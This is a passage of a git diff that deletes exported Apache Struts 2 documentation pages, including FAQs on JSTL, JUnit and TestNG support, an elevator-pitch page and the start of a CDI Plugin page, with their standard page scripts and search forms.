-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can we use JSTL with the framework</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-we-use-jstl-with-the-framework.html">Can we use JSTL with the framework</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can we use JSTL with the framework</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14135">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14135">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14135">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14135">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14135">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14135">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><div class="confluence-information-macro confluence-information-macro-information"><p class="title">About JSTL</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>The <a shape="rect" class="external-link" href="http://java.sun.com/products/jsp/jstl/" rel="nofollow">JavaServer Pages Standard Tag Library</a> (JSTL) encapsulates as simple tags the core fu [...]
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5997/6f42626d00e36f53fe51440403446ca61552e2a2.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> JSTL integration is built into the framework - there are no steps required to enable it. Simply refer to your JSTL expressions just as you would with a normal SAF JSP tag, such as the property tag.</p>
-
-<hr>
-<div class="confluence-information-macro confluence-information-macro-information"><p class="title">Javadoc: (org.apache.struts2.dispatcher.StrutsRequestWrapper)</p><span class="aui-icon aui-icon-small aui-iconfont-info confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-
-<p>All Struts requests are wrapped with this class, which provides simple JSTL accessibility. This is because JSTL
-works with request attributes, so this class delegates to the value stack except for a few cases where required to
-prevent infinite loops. Namely, we don't let any attribute name with "#" in it delegate out to the value stack, as it
-could potentially cause an infinite loop. For example, an infinite loop would take place if you called:
-request.getAttribute("#attr.foo").</p>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-we-use-junit-with-the-framework.html b/content/docs/can-we-use-junit-with-the-framework.html
deleted file mode 100644
index 687975e..0000000
--- a/content/docs/can-we-use-junit-with-the-framework.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can we use JUnit with the framework</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-we-use-junit-with-the-framework.html">Can we use JUnit with the framework</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can we use JUnit with the framework</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14037">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14037">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14037">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14037">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14037">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14037">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Yes.  Struts 2 provides built-in support for JUnit 3.8 via an abstract StrutsTestCase, which provides common Struts variables and setup code.  To learn what approaches you can take when testing your Struts Actions, see <a shape="rect" href="how-can-we-test-actions.html">How can we test Actions</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-we-use-testng-with-the-framework.html b/content/docs/can-we-use-testng-with-the-framework.html
deleted file mode 100644
index 86ea133..0000000
--- a/content/docs/can-we-use-testng-with-the-framework.html
+++ /dev/null
@@ -1,138 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can we use TestNG with the framework</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-we-use-testng-with-the-framework.html">Can we use TestNG with the framework</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can we use TestNG with the framework</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31503">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=31503">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31503">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=31503">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31503">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=31503">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Yes.  Struts 2 provides built-in support for TestNG via an abstract TestNGStrutsTestCase, which provides common Struts variables and setup code.  To learn what approaches you can take when testing your Struts Actions, see <a shape="rect" href="how-can-we-test-actions.html">How can we test Actions</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/can-you-suggest-an-elevator-pitch.html b/content/docs/can-you-suggest-an-elevator-pitch.html
deleted file mode 100644
index 0c163b2..0000000
--- a/content/docs/can-you-suggest-an-elevator-pitch.html
+++ /dev/null
@@ -1,168 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Can you suggest an elevator pitch</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="can-you-suggest-an-elevator-pitch.html">Can you suggest an elevator pitch</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Can you suggest an elevator pitch</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14012">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14012">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14012">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14012">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14012">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14012">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-</p><p>Here's the Who, What, When, Where, and Why of Struts 2.</p>
-
-<h3 id="Canyousuggestanelevatorpitch-Whoshouldusetheframework?">Who should use the framework?</h3>
-
-<p>Struts 2 is designed to help Java web developers create enterprise-class applications using accepted industry standards and design patterns. </p>
-
-<h3 id="Canyousuggestanelevatorpitch-Whatdoestheframeworkdo?">What does the framework do? </h3>
-
-<p>The framework provides a flexible front controller and a set of custom tags. The controller's job is to map requests to actions.  This helps developers organize their business logic.  The Struts 2 tags help page authors create interactive pages. </p>
-
-<h3 id="Canyousuggestanelevatorpitch-Howlonghavepeoplebeenusingtheframework?">How long have people been using the framework? </h3>
-
-<p>The original Struts framework shipped in June 2001.  WebWork came out in March 2002 with the goal of improving Struts 1 and adopting the best ideas from other frameworks.  In December 2005, the WebWork and Struts communities joined forces to create the Struts 2 framework.  The initial release of Struts 2 is expected in the first quarter of 2007.</p>
-
-<h3 id="Canyousuggestanelevatorpitch-Whereistheframeworkhosted?">Where is the framework hosted? </h3>
-
-<p>Struts is a project of the Apache Software Foundation. The framework is made available to the public at no charge under the open source Apache License. The official Struts website is located at <a shape="rect" class="external-link" href="http://struts.apache.org">http://struts.apache.org</a>.</p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> Visit the <a shape="rect" class="external-link" href="http://struts.apache.org/download.html">Struts download page</a> to obtain a distribution. </p>
-
-<h3 id="Canyousuggestanelevatorpitch-Whyistheframeworkagoodchoiceformyapplication?">Why is the framework a good choice for my application? </h3>
-
-<p><em>Reliability. Flexibility. Performance.</em> </p>
-
-<p><strong>Reliability.</strong> The Struts project has been serving the Java web development community since May 2000.  We have earned a reputation for shipping software that is long on features and short on defects. </p>
-
-<p><strong>Flexibility.</strong> The Struts 2 framework is designed to be pluggable from the ground up.  The controller's lifecycle can be customized for each application, and even for each action within an application.  The tag library is stylesheet-driven and easy to customize, either all at once or tag by tag.  Struts 2 does what you want it to do, but <em>only</em> what you want it to do. </p>
-
-<p><strong>Performance.</strong> From field experience, we know that Struts-like, action-oriented frameworks perform well and are maintainable. </p>
-</div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/cdi-plugin.html b/content/docs/cdi-plugin.html
deleted file mode 100644
index 1113c32..0000000
--- a/content/docs/cdi-plugin.html
+++ /dev/null
@@ -1,539 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>CDI Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="cdi-plugin.html">CDI Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">CDI Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27842284">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27842284">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27842284">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
